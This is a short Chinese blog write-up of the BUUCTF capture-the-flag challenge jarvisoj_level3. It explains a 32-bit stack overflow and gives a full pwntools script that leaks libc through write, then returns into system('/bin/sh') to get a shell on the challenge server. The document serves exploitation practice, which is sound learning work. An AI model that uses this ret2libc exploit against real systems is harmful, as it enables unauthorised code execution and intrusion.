BUUCTF—jarvisoj_level3

先看看开了什么保护机制

打开32位ida看看

点开vulnerable_function函数看看

一个0x18大小的栈溢出,要是换做64位肯定不够,但是32位够的,然后我们去看看有没有后门函数


好叭,没有,不过有write,倒也还好,我们可以泄露libc地址,所以这题就是write泄露libc地址,然后再来一遍栈溢出调用system函数就行了

from pwn import*
from LibcSearcher import*
p=remote('node4.buuoj.cn',25140)
elf=ELF('level3')
libc=ELF('./libc-2.23.so')
write_got=elf.got['write']
write_plt=elf.plt['write']
vuln=0x0804844b
p.recvuntil('Input:\n')
payload=b'a'*0x8c+p32(write_plt)+p32(vuln)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload)
write_add=u32(p.recv(4))
print(hex(write_add))
libc_base=write_add-libc.symbols['write']
system=libc_base+libc.symbols['system']
binsh=libc_base+libc.search(b'/bin/sh\x00').__next__()
p.recvuntil('Input:\n')
payload=b'a'*0x8c+p32(system)+p32(0)+p32(binsh)
p.sendline(payload)
p.interactive()
posted @ 2022-10-24 21:34  予柒  阅读(294)  评论(12编辑  收藏  举报
返回顶端
Live2D /*修改地一:waifu.css*/
/*修改地二:waifu.css*/
/*修改地三:live2d.js*/ /*修改地四:waifu-tips.js*/